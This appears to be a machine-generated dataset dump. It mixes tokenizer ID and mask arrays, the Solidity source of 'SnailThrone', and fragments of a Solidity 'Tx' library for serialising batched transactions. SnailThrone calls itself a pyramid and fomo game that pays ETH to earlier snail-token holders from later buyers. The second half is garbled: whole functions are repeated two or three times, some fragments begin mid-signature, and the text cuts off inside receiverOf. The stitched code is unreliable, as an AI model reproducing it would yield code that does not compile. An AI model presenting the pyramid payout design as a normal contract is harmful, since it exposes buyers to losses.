[ 1, 5328, 6679, 63, 67, 350, 65, 273, 12738, 12590, 377, 612, 30, 389, 350, 16, 377, 1647, 4921, 30, 389, 4949, 4921, 16, 377, 783, 4921, 30, 1203, 18, 5508, 16, 377, 353, 17873, 30, 638, 16, 377, 353, 6322, 30, 629, 16, 377, 353, 1957, 12254, 30, 629, 16, 377, 353, 3826, 27998, 42, 12254, 30, 638, 16, 377, 7720, 1887, 30, 1234, 18, 15330, 16, 377, 3844, 30, 389, 8949, 15549, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 1352, 6679, 63, 67, 350, 8009, 350, 273, 389, 350, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.24; /* SNAILTHRONE // SnailFarm + Pyramid + Fomo // Buy and sell snails, pyramid tokens, directly from the contract // Snail holders receive proportional dividends from buys and hatches // Token price correlates with snail max supply // Snails produce eggs, at a rate of 8% per day // Up to a maximum equal to the amount of snails the player owns // Players can hatch these eggs to turn them into more tokens // Hatching comes at half the cost of buying tokens // Players can also sacrifice their eggs to the FrogKing for an ETH reward // On buy, incoming ETH is distributed as such: // 50% saved for the SnailPot (token price on sale) // 20% in divs // 20% go to the FrogPot // 2% is given to the current Pharaoh // 2% goes to the SnailGod pot // 6% goes to the referral. lacking ref, it goes to the SnailGod pot // On hatch, incoming ETH is distributed as follows: // 40% in divs // 40% go to the FrogPot // 4% is given to the current Pharaoh // 16% goes to the SnailGod pot // SNAILPOT // Snails can be sold to the SnailPot for ether // Price per snail is 50% of the current buy price // No more than 10% of the SnailPot can be drained in one sale // FROGPOT // Feeding eggs to the frogking grants a reward // Ether earned = frogpot * eggs fed / total snails // SNAILGOD // The ultimate reward of the game, on a 24 hours timer // Sacrifice a minimum of 40 snails to become the Pharaoh // While the Pharaoh sits on the throne, he receives 2% ETH of every buy // A successful sacrifice will bump the timer back up by 8 minutes // and set the minimum snail requirement to 40 + this sacrifice // This number lowers back down to 40 over time // Once the timer hits 0, whoever holds the Pharaoh title ascends to godhood // The SnailGod can instantly claim 50% of the SnailGod pot // Timer resets at 24 hours, minimum sacrifice resets at 40 snails // and the previous Pharaoh takes the throne until a contender sacrifices enough snails // REFERRALS // Unlocked by owning at least 300 snails // Every buy through a referral link gives 6% to the referred address // Addresses aren't bound to their referral link // Referrals don't profit from hatching eggs */ contract SnailThrone { using SafeMath for uint; /* Events */ event WithdrewEarnings (address indexed player, uint ethreward); event ClaimedDivs (address indexed player, uint ethreward); event BoughtSnail (address indexed player, uint ethspent, uint snail); event SoldSnail (address indexed player, uint ethreward, uint snail); event HatchedSnail (address indexed player, uint ethspent, uint snail); event FedFrogking (address indexed player, uint ethreward, uint egg); event Ascended (address indexed player, uint ethreward, uint indexed round); event BecamePharaoh (address indexed player, uint indexed round); event NewDivs (uint ethreward); /* Constants */ uint256 public GOD_TIMER_START = 86400; //seconds, or 24 hours uint256 public PHARAOH_REQ_START = 40; //number of snails to become pharaoh uint256 public GOD_TIMER_INTERVAL = 12; //seconds to remove one snail from req uint256 public GOD_TIMER_BOOST = 480; //seconds added to timer with new pharaoh uint256 public TIME_TO_HATCH_1SNAIL = 1080000; //8% daily uint256 public TOKEN_PRICE_FLOOR = 0.00002 ether; //4 zeroes uint256 public TOKEN_PRICE_MULT = 0.00000000001 ether; //10 zeroes uint256 public TOKEN_MAX_BUY = 4 ether; //max allowed eth in one buy transaction uint256 public SNAIL_REQ_REF = 300; //number of snails for ref link to be active /* Variables */ //Becomes true one time to start the game bool public gameStarted = false; //Used to ensure a proper game start address public gameOwner; //SnailGod round, amount, timer uint256 public godRound = 0; uint256 public godPot = 0; uint256 public godTimer = 0; //Current Pharaoh address public pharaoh; //Last time throne was claimed or pharaohReq was computed uint256 public lastClaim; //Snails required to become the Pharaoh uint256 public pharaohReq = PHARAOH_REQ_START; //Total number of snail tokens uint256 public maxSnail = 0; //Egg sell fund uint256 public frogPot = 0; //Token sell fund uint256 public snailPot = 0; //Current divs per snail uint256 public divsPerSnail = 0; /* Mappings */ mapping (address => uint256) public hatcherySnail; mapping (address => uint256) public lastHatch; mapping (address => uint256) public playerEarnings; mapping (address => uint256) public claimedDivs; /* Functions */ // ACTIONS // Constructor // Sets msg.sender as gameOwner to start the game properly constructor() public { gameOwner = msg.sender; } // StartGame // Initialize godTimer // Set pharaoh and lastPharaoh as gameOwner // Buy tokens for value of message function StartGame() public payable { require(gameStarted == false); require(msg.sender == gameOwner); godTimer = now + GOD_TIMER_START; godRound = 1; gameStarted = true; pharaoh = gameOwner; lastClaim = now; BuySnail(msg.sender); } // WithdrawEarnings // Sends all player ETH earnings to his wallet function WithdrawEarnings() public { require(playerEarnings[msg.sender] > 0); uint256 _amount = playerEarnings[msg.sender]; playerEarnings[msg.sender] = 0; msg.sender.transfer(_amount); emit WithdrewEarnings(msg.sender, _amount); } // ClaimDivs // Sends player dividends to his playerEarnings // Adjusts claimable dividends function ClaimDivs() public { uint256 _playerDivs = ComputeMyDivs(); if(_playerDivs > 0) { //Add new divs to claimed divs claimedDivs[msg.sender] = claimedDivs[msg.sender].add(_playerDivs); //Send divs to playerEarnings playerEarnings[msg.sender] = playerEarnings[msg.sender].add(_playerDivs); emit ClaimedDivs(msg.sender, _playerDivs); } } // BuySnail function BuySnail(address _ref) public payable { require(gameStarted == true, "game hasn't started yet"); require(tx.origin == msg.sender, "contracts not allowed"); require(msg.value <= TOKEN_MAX_BUY, "maximum buy = 4 ETH"); //Calculate price and resulting snails uint256 _snailsBought = ComputeBuy(msg.value); //Adjust player claimed divs claimedDivs[msg.sender] = claimedDivs[msg.sender].add(_snailsBought.mul(divsPerSnail)); //Change maxSnail before new div calculation maxSnail = maxSnail.add(_snailsBought); //Divide incoming ETH PotSplit(msg.value, _ref, true); //Set last hatch to current timestamp lastHatch[msg.sender] = now; //Add player snails hatcherySnail[msg.sender] = hatcherySnail[msg.sender].add(_snailsBought); emit BoughtSnail(msg.sender, msg.value, _snailsBought); } // SellSnail function SellSnail(uint256 _tokensSold) public { require(gameStarted == true, "game hasn't started yet"); require(hatcherySnail[msg.sender] >= _tokensSold, "not enough snails to sell"); //Call ClaimDivs so ETH isn't blackholed ClaimDivs(); //Check token price, sell price is half of current buy price uint256 _tokenSellPrice = ComputeTokenPrice(); _tokenSellPrice = _tokenSellPrice.div(2); //Check maximum ETH that can be obtained = 10% of SnailPot uint256 _maxEth = snailPot.div(10); //Check maximum amount of tokens that can be sold uint256 _maxTokens = _maxEth.div(_tokenSellPrice); //Check if player tried to sell too many tokens if(_tokensSold > _maxTokens) { _tokensSold = _maxTokens; } //Calculate sell reward, tokens * price per token uint256 _sellReward = _tokensSold.mul(_tokenSellPrice); //Remove reserve ETH snailPot = snailPot.sub(_sellReward); //Remove tokens hatcherySnail[msg.sender] = hatcherySnail[msg.sender].sub(_tokensSold); maxSnail = maxSnail.sub(_tokensSold); //Adjust player claimed divs claimedDivs[msg.sender] = claimedDivs[msg.sender].sub(divsPerSnail.mul(_tokensSold)); //Give ETH to player playerEarnings[msg.sender] = playerEarnings[msg.sender].add(_sellReward); emit SoldSnail(msg.sender, _sellReward, _tokensSold); } // HatchEgg // Turns player eggs into snails // Costs half the ETH of a normal buy function HatchEgg() public payable { require(gameStarted == true, "game hasn't started yet"); require(msg.value > 0, "need ETH to hatch eggs"); //Check how many eggs the ether sent can pay for uint256 _tokenPrice = ComputeTokenPrice().div(2); uint256 _maxHatch = msg.value.div(_tokenPrice); //Check number of eggs to hatch uint256 _newSnail = ComputeMyEggs(msg.sender); //Multiply by token price uint256 _snailPrice = _tokenPrice.mul(_newSnail); //Refund any extra ether uint256 _ethUsed = msg.value; if (msg.value > _snailPrice) { uint256 _refund = msg.value.sub(_snailPrice); playerEarnings[msg.sender] = playerEarnings[msg.sender].add(_refund); _ethUsed = _snailPrice; } //Adjust new snail amount if not enough ether if (msg.value < _snailPrice) { _newSnail = _maxHatch; } //Adjust player divs claimedDivs[msg.sender] = claimedDivs[msg.sender].add(_newSnail.mul(divsPerSnail)); //Change maxSnail before div calculation maxSnail = maxSnail.add(_newSnail); //Divide incoming ETH PotSplit(_ethUsed, msg.sender, false); //Add new snails lastHatch[msg.sender] = now; hatcherySnail[msg.sender] = hatcherySnail[msg.sender].add(_newSnail); emit HatchedSnail(msg.sender, _ethUsed, _newSnail); } // PotSplit // Called on buy and hatch function PotSplit(uint256 _msgValue, address _ref, bool _buy) private { //On token buy, 50% of the ether goes to snailpot //On hatch, no ether goes to the snailpot uint256 _eth = _msgValue; if (_buy == true) { _eth = _msgValue.div(2); snailPot = snailPot.add(_eth); } //20% distributed as divs (40% on hatch) divsPerSnail = divsPerSnail.add(_eth.mul(2).div(5).div(maxSnail)); //20% to FrogPot (40% on hatch) frogPot = frogPot.add(_eth.mul(2).div(5)); //2% to Pharaoh (4% on hatch) playerEarnings[pharaoh] = playerEarnings[pharaoh].add(_eth.mul(2).div(50)); //2% to SnailGod pot (4% on hatch) godPot = godPot.add(_eth.mul(2).div(50)); //Check for referrals (300 snails required) //Give 6% to referrer if there is one //Else give 6% to SnailGod pot //Always give 12% to SnailGod pot on hatch if (_ref != msg.sender && hatcherySnail[_ref] >= SNAIL_REQ_REF) { playerEarnings[_ref] = playerEarnings[_ref].add(_eth.mul(6).div(50)); } else { godPot = godPot.add(_eth.mul(6).div(50)); } } // FeedEgg // Sacrifices the player's eggs to the FrogPot // Gives ETH in return function FeedEgg() public { require(gameStarted == true, "game hasn't started yet"); //Check number of eggs to hatch uint256 _eggsUsed = ComputeMyEggs(msg.sender); //Remove eggs lastHatch[msg.sender] = now; //Calculate ETH earned uint256 _reward = _eggsUsed.mul(frogPot).div(maxSnail); frogPot = frogPot.sub(_reward); playerEarnings[msg.sender] = playerEarnings[msg.sender].add(_reward); emit FedFrogking(msg.sender, _reward, _eggsUsed); } // AscendGod // Distributes SnailGod pot to winner, restarts timer function AscendGod() public { require(gameStarted == true, "game hasn't started yet"); require(now >= godTimer, "pharaoh hasn't ascended yet"); //Reset timer and start new round godTimer = now + GOD_TIMER_START; pharaohReq = PHARAOH_REQ_START; godRound = godRound.add(1); //Calculate and give reward uint256 _godReward = godPot.div(2); godPot = godPot.sub(_godReward); playerEarnings[pharaoh] = playerEarnings[pharaoh].add(_godReward); emit Ascended(pharaoh, _godReward, godRound); //msg.sender becomes pharaoh pharaoh = msg.sender; } // BecomePharaoh // Sacrifices snails to become the Pharaoh function BecomePharaoh(uint256 _snails) public { require(gameStarted == true, "game hasn't started yet"); require(hatcherySnail[msg.sender] >= _snails, "not enough snails in hatchery"); //Run end round function if round is over if(now >= godTimer) { AscendGod(); } //Call ClaimDivs so ETH isn't blackholed ClaimDivs(); //Check number of snails to remove from pharaohReq uint256 _snailsToRemove = ComputePharaohReq(); //Save claim time to lower number of snails later lastClaim = now; //Adjust pharaohReq if(pharaohReq < _snailsToRemove){ pharaohReq = PHARAOH_REQ_START; } else { pharaohReq = pharaohReq.sub(_snailsToRemove); if(pharaohReq < PHARAOH_REQ_START){ pharaohReq = PHARAOH_REQ_START; } } //Make sure player fits requirement if(_snails >= pharaohReq) { //Remove snails maxSnail = maxSnail.sub(_snails); hatcherySnail[msg.sender] = hatcherySnail[msg.sender].sub(_snails); //Adjust msg.sender claimed dividends claimedDivs[msg.sender] = claimedDivs[msg.sender].sub(_snails.mul(divsPerSnail)); //Add 8 minutes to timer godTimer = godTimer.add(GOD_TIMER_BOOST); //pharaohReq becomes the amount of snails sacrificed + 40 pharaohReq = _snails.add(PHARAOH_REQ_START); //msg.sender becomes new Pharaoh pharaoh = msg.sender; emit BecamePharaoh(msg.sender, godRound); } } // fallback function // Distributes sent ETH as dividends function() public payable { divsPerSnail = divsPerSnail.add(msg.value.div(maxSnail)); emit NewDivs(msg.value); } // VIEW // ComputePharaohReq // Returns number of snails to remove from pharaohReq // Snail requirement lowers by 1 every 12 seconds function ComputePharaohReq() public view returns(uint256) { uint256 _timeLeft = now.sub(lastClaim); uint256 _req = _timeLeft.div(GOD_TIMER_INTERVAL); return _req; } // ComputeTokenPrice // Returns ETH required to buy one snail // 1 snail = (T_P_FLOOR + (T_P_MULT * total amount of snails)) eth function ComputeTokenPrice() public view returns(uint256) { return TOKEN_PRICE_FLOOR.add(TOKEN_PRICE_MULT.mul(maxSnail)); } // ComputeBuy // Returns snails bought for a given amount of ETH function ComputeBuy(uint256 _ether) public view returns(uint256) { uint256 _tokenPrice = ComputeTokenPrice(); return _ether.div(_tokenPrice); } // ComputeMyEggs // Returns eggs produced since last hatch or sacrifice // Egg amount can never be above current snail count function ComputeMyEggs(address adr) public view returns(uint256) { uint256 _eggs = now.sub(lastHatch[adr]); _eggs = _eggs.mul(hatcherySnail[adr]).div(TIME_TO_HATCH_1SNAIL); if (_eggs > hatcherySnail[adr]) { _eggs = hatcherySnail[adr]; } return _eggs; } // ComputeMyDivs // Returns unclaimed divs for the player function ComputeMyDivs() public view returns(uint256) { //Calculate share of player uint256 _playerShare = divsPerSnail.mul(hatcherySnail[msg.sender]); //Subtract already claimed divs _playerShare = _playerShare.sub(claimedDivs[msg.sender]); return _playerShare; } // GetMySnails // Returns player snails function GetMySnails() public view returns(uint256) { return hatcherySnail[msg.sender]; } // GetMyEarnings // Returns player earnings function GetMyEarnings() public view returns(uint256) { return playerEarnings[msg.sender]; } // GetContractBalance // Returns ETH in contract function GetContractBalance() public view returns (uint256) { return address(this).balance; } } library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
Calculate share of playerSubtract already claimed divs
function ComputeMyDivs() public view returns(uint256) { uint256 _playerShare = divsPerSnail.mul(hatcherySnail[msg.sender]); _playerShare = _playerShare.sub(claimedDivs[msg.sender]); return _playerShare; }
6,364,132
[ 1, 8695, 7433, 434, 7291, 27904, 1818, 7516, 329, 3739, 87, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 8155, 12062, 7244, 87, 1435, 1071, 1476, 1135, 12, 11890, 5034, 13, 288, 203, 3639, 2254, 5034, 389, 14872, 9535, 273, 3739, 87, 2173, 55, 6025, 18, 16411, 12, 76, 505, 627, 55, 6025, 63, 3576, 18, 15330, 19226, 203, 1082, 203, 377, 202, 67, 14872, 9535, 273, 389, 14872, 9535, 18, 1717, 12, 14784, 329, 7244, 87, 63, 3576, 18, 15330, 19226, 203, 3639, 327, 389, 14872, 9535, 31, 203, 565, 289, 203, 377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.5.15; library Tx { // // transaction: // // [sender<4>|receiver<4>|amount<4>] // uint256 public constant TX_LEN = 12; // uint256 public constant MASK_TX = 0xffffffffffffffffffffffff; // uint256 public constant MASK_STATE_INDEX = 0xffffffff; // uint256 public constant MASK_AMOUNT = 0xffffffff; // // positions in bytes // uint256 public constant POSITION_SENDER = 4; // uint256 public constant POSITION_RECEIVER = 8; // uint256 public constant POSITION_AMOUNT = 12; // transaction: // [sender<4>|receiver<4>|amount<4>|signature<64>] uint256 public constant RAW_TX_LEN = 12; uint256 public constant TX_LEN = 76; uint256 public constant MASK_TX = 0xffffffffffffffffffffffff; uint256 public constant MASK_STATE_INDEX = 0xffffffff; uint256 public constant MASK_AMOUNT = 0xffffffff; // positions in bytes uint256 public constant POSITION_SENDER = 4; uint256 public constant POSITION_RECEIVER = 8; uint256 public constant POSITION_AMOUNT = 12; uint256 public constant POSITION_SIGNATURE_X = 44; uint256 public constant POSITION_SIGNATURE_Y = 76; function serialize( uint256[] memory senders, uint256[] memory receivers, uint256[] memory amounts, bytes[] memory signatures ) internal pure returns (bytes memory) { uint256 batchSize = signatures.length; require(senders.length == batchSize, "bad sender size"); require(receivers.length == batchSize, "bad receiver size"); require(amounts.length == batchSize, "bad amount size"); uint256 bound = 0x10000000000000000; // uint256 TX_LEN = 4 + 4 + 4 + 64; bytes memory serialized = new bytes(TX_LEN * batchSize); for (uint256 i = 0; i < batchSize; i++) { bytes memory signature = signatures[i]; uint256 sender = senders[i]; uint256 receiver = receivers[i]; uint256 amount = amounts[i]; require(signature.length == 64, "invalid signature"); require(sender < bound, "invalid sender index"); require(receiver < bound, "invalid receiver index"); require(amount < bound, "invalid amount"); bytes memory _tx = abi.encodePacked( uint32(sender), uint32(receiver), uint32(amount), signature ); uint256 off = i * TX_LEN; for (uint256 j = 0; j < TX_LEN; j++) { serialized[j + off] = _tx[j]; } } return serialized; } function hasExcessData(bytes memory txs) internal pure returns (bool) { uint256 txSize = txs.length / TX_LEN; return txSize * TX_LEN != txs.length; } function size(bytes memory txs) internal pure returns (uint256) { uint256 txSize = txs.length / TX_LEN; return txSize; } function amountOf(bytes memory txs, uint256 index) internal pure returns (uint256 amount) { // solium-disable-next-line security/no-inline-assembly assembly { let p_tx := add(txs, mul(index, TX_LEN)) amount := and(mload(add(p_tx, POSITION_AMOUNT)), MASK_AMOUNT) } return amount; } function senderOf(bytes memory txs, uint256 index) internal pure returns (uint256 sender) { // solium-disable-next-line security/no-inline-assembly assembly { let p_tx := add(txs, mul(index, TX_LEN)) sender := and(mload(add(p_tx, POSITION_SENDER)), MASK_STATE_INDEX) } } function signatureOf(bytes memory txs, uint256 index) internal pure returns (bytes memory) { bytes memory signature = new bytes(64); // solium-disable-next-line security/no-inline-assembly assembly { let p_tx := add(txs, mul(index, TX_LEN)) let x := mload(add(p_tx, POSITION_SIGNATURE_X)) let y := mload(add(p_tx, POSITION_SIGNATURE_Y)) mstore(add(signature, 64), x) mstore(add(signature, 96), y) } return signature; } function receiverOf(bytes memory txs, uint256 index) internal pure returns (uint256 receiver) { // solium-disable-next-line security/no-inline-assembly assembly { let p_tx := add(txs, mul(index, TX_LEN)) receiver := and( mload(add(p_tx, POSITION_RECEIVER)), MASK_STATE_INDEX ) } } function hashOf(bytes memory txs, uint256 index) internal pure returns (bytes32 result) { // solium-disable-next-line security/no-inline-assembly assembly { let p_tx := add(txs, add(mul(index, TX_LEN), 32)) result := keccak256(p_tx, RAW_TX_LEN) } } function toLeafs(bytes memory txs) internal pure returns (bytes32[] memory) { uint256 batchSize = size(txs); bytes32[] memory buf = new bytes32[](batchSize); for (uint256 i = 0; i < batchSize; i++) { buf[i] = hashOf(txs, i); } return buf; } }
transaction: [sender<4>|receiver<4>|amount<4>] uint256 public constant TX_LEN = 12; uint256 public constant MASK_TX = 0xffffffffffffffffffffffff; uint256 public constant MASK_STATE_INDEX = 0xffffffff; uint256 public constant MASK_AMOUNT = 0xffffffff; positions in bytes uint256 public constant POSITION_SENDER = 4; uint256 public constant POSITION_RECEIVER = 8; uint256 public constant POSITION_AMOUNT = 12; transaction: [sender<4>|receiver<4>|amount<4>|signature<64>] positions in bytes
library Tx { uint256 public constant RAW_TX_LEN = 12; uint256 public constant TX_LEN = 76; uint256 public constant MASK_TX = 0xffffffffffffffffffffffff; uint256 public constant MASK_STATE_INDEX = 0xffffffff; uint256 public constant MASK_AMOUNT = 0xffffffff; uint256 public constant POSITION_SENDER = 4; uint256 public constant POSITION_RECEIVER = 8; uint256 public constant POSITION_AMOUNT = 12; uint256 public constant POSITION_SIGNATURE_X = 44; uint256 public constant POSITION_SIGNATURE_Y = 76; function serialize( uint256[] memory senders, uint256[] memory receivers, uint256[] memory amounts, bytes[] memory signatures ) internal pure returns (bytes memory) { uint256 batchSize = signatures.length; require(senders.length == batchSize, "bad sender size"); require(receivers.length == batchSize, "bad receiver size"); require(amounts.length == batchSize, "bad amount size"); uint256 bound = 0x10000000000000000; bytes memory serialized = new bytes(TX_LEN * batchSize); for (uint256 i = 0; i < batchSize; i++) { bytes memory signature = signatures[i]; uint256 sender = senders[i]; uint256 receiver = receivers[i]; uint256 amount = amounts[i]; require(signature.length == 64, "invalid signature"); require(sender < bound, "invalid sender index"); require(receiver < bound, "invalid receiver index"); require(amount < bound, "invalid amount"); bytes memory _tx = abi.encodePacked( uint32(sender), uint32(receiver), uint32(amount), signature ); uint256 off = i * TX_LEN; for (uint256 j = 0; j < TX_LEN; j++) { serialized[j + off] = _tx[j]; } } return serialized; } ) internal pure returns (bytes memory) { uint256 batchSize = signatures.length; require(senders.length == batchSize, "bad sender size"); require(receivers.length == batchSize, "bad receiver size"); require(amounts.length == batchSize, "bad amount size"); uint256 bound = 0x10000000000000000; bytes memory serialized = new bytes(TX_LEN * batchSize); for (uint256 i = 0; i < batchSize; i++) { bytes memory signature = signatures[i]; uint256 sender = senders[i]; uint256 receiver = receivers[i]; uint256 amount = amounts[i]; require(signature.length == 64, "invalid signature"); require(sender < bound, "invalid sender index"); require(receiver < bound, "invalid receiver index"); require(amount < bound, "invalid amount"); bytes memory _tx = abi.encodePacked( uint32(sender), uint32(receiver), uint32(amount), signature ); uint256 off = i * TX_LEN; for (uint256 j = 0; j < TX_LEN; j++) { serialized[j + off] = _tx[j]; } } return serialized; } ) internal pure returns (bytes memory) { uint256 batchSize = signatures.length; require(senders.length == batchSize, "bad sender size"); require(receivers.length == batchSize, "bad receiver size"); require(amounts.length == batchSize, "bad amount size"); uint256 bound = 0x10000000000000000; bytes memory serialized = new bytes(TX_LEN * batchSize); for (uint256 i = 0; i < batchSize; i++) { bytes memory signature = signatures[i]; uint256 sender = senders[i]; uint256 receiver = receivers[i]; uint256 amount = amounts[i]; require(signature.length == 64, "invalid signature"); require(sender < bound, "invalid sender index"); require(receiver < bound, "invalid receiver index"); require(amount < bound, "invalid amount"); bytes memory _tx = abi.encodePacked( uint32(sender), uint32(receiver), uint32(amount), signature ); uint256 off = i * TX_LEN; for (uint256 j = 0; j < TX_LEN; j++) { serialized[j + off] = _tx[j]; } } return serialized; } function hasExcessData(bytes memory txs) internal pure returns (bool) { uint256 txSize = txs.length / TX_LEN; return txSize * TX_LEN != txs.length; } function size(bytes memory txs) internal pure returns (uint256) { uint256 txSize = txs.length / TX_LEN; return txSize; } function amountOf(bytes memory txs, uint256 index) internal pure returns (uint256 amount) { assembly { let p_tx := add(txs, mul(index, TX_LEN)) amount := and(mload(add(p_tx, POSITION_AMOUNT)), MASK_AMOUNT) } return amount; } function amountOf(bytes memory txs, uint256 index) internal pure returns (uint256 amount) { assembly { let p_tx := add(txs, mul(index, TX_LEN)) amount := and(mload(add(p_tx, POSITION_AMOUNT)), MASK_AMOUNT) } return amount; } function senderOf(bytes memory txs, uint256 index) internal pure returns (uint256 sender) { assembly { let p_tx := add(txs, mul(index, TX_LEN)) sender := and(mload(add(p_tx, POSITION_SENDER)), MASK_STATE_INDEX) } } function senderOf(bytes memory txs, uint256 index) internal pure returns (uint256 sender) { assembly { let p_tx := add(txs, mul(index, TX_LEN)) sender := and(mload(add(p_tx, POSITION_SENDER)), MASK_STATE_INDEX) } } function signatureOf(bytes memory txs, uint256 index) internal pure returns (bytes memory) { bytes memory signature = new bytes(64); assembly { let p_tx := add(txs, mul(index, TX_LEN)) let x := mload(add(p_tx, POSITION_SIGNATURE_X)) let y := mload(add(p_tx, POSITION_SIGNATURE_Y)) mstore(add(signature, 64), x) mstore(add(signature, 96), y) } return signature; } function signatureOf(bytes memory txs, uint256 index) internal pure returns (bytes memory) { bytes memory signature = new bytes(64); assembly { let p_tx := add(txs, mul(index, TX_LEN)) let x := mload(add(p_tx, POSITION_SIGNATURE_X)) let y := mload(add(p_tx, POSITION_SIGNATURE_Y)) mstore(add(signature, 64), x) mstore(add(signature, 96), y) } return signature; } function receiverOf(bytes memory txs, uint256 index) internal pure returns (uint256 receiver) { assembly { let p_tx := add(txs, mul(index, TX_LEN)) receiver := and( mload(add(p_tx, POSITION_RECEIVER)), MASK_STATE_INDEX ) } } function receiverOf(bytes memory txs, uint256 index) internal pure returns (uint256 receiver) { assembly { let p_tx := add(txs, mul(index, TX_LEN)) receiver := 